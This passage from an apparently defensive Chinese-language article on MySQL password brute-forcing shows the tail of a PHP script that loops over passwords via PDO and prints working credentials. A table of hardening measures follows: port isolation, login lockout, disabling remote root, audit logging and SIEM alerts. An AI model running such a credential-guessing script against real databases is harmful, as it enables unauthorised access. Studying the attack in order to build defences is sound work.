未經書面授權對生產環境進行密碼爆破屬非法入侵行為,本文旨在揭示攻擊面以便建立對應防禦。
root,遍歷密碼陣列mysql_connect()(已棄用)嘗試連線,成功即輸出密碼 3,
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION
]);
echo "SUCCESS: {$user}:{$pass}";
$found = true;
break 2;
} catch (PDOException $e) {
// 記錄失敗日誌而非輸出
}
}
}
if (!$found) echo 'No valid credentials.';
?>
| 層面 | 措施 | 實施方式 |
|---|---|---|
| 網路 | 埠隔離 | 安全組/iptables 僅放行應用伺服器 IP |
| 網路 | 非標準埠 | port=3307 降低自動掃描命中率 |
| 認證 | 強密碼策略 | INSTALL PLUGIN validate_password SONAME 'validate_password.so'; |
| 認證 | 失敗鎖定 | 8.0+ ALTER USER 'app'@'%' FAILED_LOGIN_ATTEMPTS 5 PASSWORD_LOCK_TIME 2; |
| 認證 | 禁用 root 遠程 | RENAME USER 'root'@'%' TO 'root'@'localhost'; |
| 應用 | PDO 預處理 | 杜絕 SQL 注入,統一錯誤處理 |
| 審計 | 登入日誌 | log_error_verbosity=3 + 集中式日誌平台 |
| 審計 | 異常告警 | 短時大量失敗登入觸發 SIEM 告警 |
將爆破腳本轉化為防禦檢查清單,才是安全研究的正確價值。